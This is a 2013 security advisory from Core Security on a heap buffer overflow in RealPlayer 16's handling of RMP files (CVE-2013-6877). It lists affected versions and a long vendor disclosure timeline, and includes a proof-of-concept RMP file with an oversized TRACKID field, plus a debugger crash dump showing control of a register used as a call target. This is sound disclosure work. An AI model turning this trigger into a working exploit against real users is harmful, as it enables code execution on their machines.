RealPlayer Heap-Based Buffer Overflow

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RealPlayer Heap-based Buffer Overflow Vulnerability  
  
  
1. *Advisory Information*  
  
Title: RealPlayer Heap-based Buffer Overflow Vulnerability  
Advisory ID: CORE-2013-0903  
Advisory URL:  
http://www.coresecurity.com/advisories/realplayer-heap-based-buffer-overflow-vulnerability  
Date published: 2013-12-17  
Date of last update: 2013-12-17  
Vendors contacted: RealPlayer Team  
Release mode: User release  
  
  
2. *Vulnerability Information*  
  
Class: Buffer overflow [CWE-119]  
Impact: Code execution  
Remotely Exploitable: No  
Locally Exploitable: Yes  
CVE Name: CVE-2013-6877  
  
  
3. *Vulnerability Description*  
  
RealPlayer [1], [2] is prone to a security vulnerability when processing  
RMP files. This vulnerability could be exploited by a remote attacker to  
execute arbitrary code on the target machine, by enticing RealPlayer  
users to open a specially crafted RMP file (client-side attack).  
  
  
4. *Vulnerable Packages*  
  
. RealPlayer v16.0.2.32.  
. RealPlayer v16.0.3.51.  
. Other versions are probably affected too, but they were not checked.  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
Vendor notifies that a new version of RealPlayer will be probably  
available near Dec 20th, 2013 (see [Sec. 8]). The new version will not  
support RPM files and thus the issue will be fixed. As mitigation  
action, given that this is a client-side vulnerability, avoid to open  
untrusted RMP files. Contact vendor for further information.  
  
  
6. *Credits*  
  
This vulnerability was discovered and researched by Ricardo Narvaja from  
Core Exploit Writers Team. This report was coordinated by Fernando  
Miranda from Core Advisories Team.  
  
  
7. *Technical Description / Proof of Concept Code*  
  
/-----  
<!--   
#  
# Description: RealPlayer v16.0.3.51 Proof of Concept (poc.rmp)  
# Author: Ricardo Narvaja (CORE Security Exploit Writers Team)  
# CORE ID: CORE-2013-0903  
# CVE ID: CVE-2013-6877  
#  
# The contents of this software are copyright (c) 2013 CORE Security and  
(c) 2013 CoreLabs,  
# and are licensed under a Creative Commons Attribution Non-Commercial  
Share-Alike 3.0 (United States)  
# License: <a  
href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">http://creativecommons.org/licenses/by-nc-sa/3.0/us/</a>  
#  
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED  
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE  
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR  
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF  
# THIS SOFTWARE.  
#  
-->  
  
<?xml version="1.0"?>  
<PACKAGE>  
<TITLE>resto</TITLE>  
<ACTION>import,replace</ACTION>  
<SERVER>  
<LOCATION>%fid</LOCATION>  
</SERVER>  
<TARGET>resto</TARGET>  
<TRACKLIST>  
<LISTID>1</LISTID>  
<TRACK>  
  
<TRACKID>1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/TRACKID>  
<TITLE>The French Experience</TITLE>  
<ARTIST>BBC Languages</ARTIST>  
<ALBUM></ALBUM>  
<CHANNELS>0</CHANNELS>  
<DURATION>80480</DURATION>  
<FORMAT></FORMAT>  
<GENRE></GENRE>  
<QUALITY>29000</QUALITY>  
<SIZE>0</SIZE>  
<FILENAME>http://aaaaaaaaaaaaaaaaaa</FILENAME>  
</TRACK>  
</TRACKLIST>  
</PACKAGE>  
-----/  
  
Below is shown the result of opening the maliciously crafted file  
'poc.rmp' on Windows XP SP3:  
  
/-----  
63A530B6 8B08 MOV ECX,DWORD PTR DS:[EAX]  
63A530B8 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] <----crash in  
rpcontrols.dll  
63A530BB 50 PUSH EAX  
63A530BC FFD2 CALL EDX  
  
EAX 01122BB8 ASCII  
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
ECX 61616161  
EDX 0267F278  
EBX 00000000  
ESP 0012F5CC  
EBP 0012F5D0  
ESI 0012F5F4  
EDI 00DD8AD8  
EIP 63A530B8 rpcontro.63A530B8   
-----/  
  
  
8. *Report Timeline*  
  
. 2013-09-03:  
Core Security Technologies attempts to contact vendor. No reply  
received. Publication date is set for Sep 25st, 2013.  
  
. 2013-09-11:  
Core attempts to contact vendor.  
  
. 2013-09-11:  
Vendor acknowledges Core's e-mail, and asks for a technical description  
of the vulnerability.  
  
. 2013-09-12:  
Technical details sent to the vendor.  
  
. 2013-09-16:  
Core asks for a status update.  
  
. 2013-09-16:  
Vendor notifies that the vulnerability verification process has not  
finished yet and asks for delaying the advisory announcement. Vendor  
also claims that they have a six-month window to address vulnerabilities  
and the current release date has not been set.  
  
. 2013-09-23:  
Core re-schedules the advisory publication for Oct 15th and asks for a  
clear timeline regarding the patching process.  
  
. 2013-09-24:  
Vendor notifies that the normal procedure involves internal verification  
of the issue (usually within two weeks of reporting). Once verified, it  
is added to the queue for the next available release. Vendor also states  
that they could not reproduce the issue and asks for additional  
technical information.  
  
. 2013-09-25:  
First release date missed.  
  
. 2013-10-02:  
Core confirms that the issue is exploitable and sends additional  
technical information and a new PoC.  
  
. 2013-10-04:  
Vendor notifies that they still cannot duplicate the issue, even with  
the new PoC.  
  
. 2013-10-08:  
Core sends a demo (video) showing the exploitation in a fresh XP machine  
and additional technical information.  
  
. 2013-10-14:  
Vendor asks for delaying the advisory release.  
  
. 2013-10-15:  
Second release date missed.  
  
. 2013-10-15:  
Core asks for a tentative release date.  
  
. 2013-10-16:  
Vendor notifies that they have just been able to duplicate the issue and  
they can probably release a fix for the end of November.  
  
. 2013-10-16:  
Core re-schedules the advisory publication for Nov 27th and notifies  
that this date should be considered final.  
  
. 2013-11-11:  
Core asks for a status update.  
  
. 2013-11-22:  
Vendor notifies that the fix will be released December 16th.  
  
. 2013-11-26:  
Core re-schedules the advisory publication for Dec 16th.  
  
. 2013-11-27:  
Third release date missed.  
  
. 2013-12-06:  
Vendor notifies that they have found an issue that must be fixed and the  
date for announcing will be Dec 20th.  
  
. 2013-12-09:  
Core notifies that releasing security advisories on Fridays generates  
unnecessary workload to IT teams worldwide considering the different  
timezones and rejects Dec 20th as release date.  
  
. 2013-12-09:  
Vendor notifies that the new version of RealPlayer will not support RPM  
files and thus the issue will be fixed.  
  
. 2013-12-16:  
Fourth release date missed.  
  
. 2013-12-17:  
Advisory CORE-2013-0903 published as 'user release'.  
  
  
9. *References*  
  
[1] http://www.real.com.  
[2] http://www.real.com/realplayer.  
  
  
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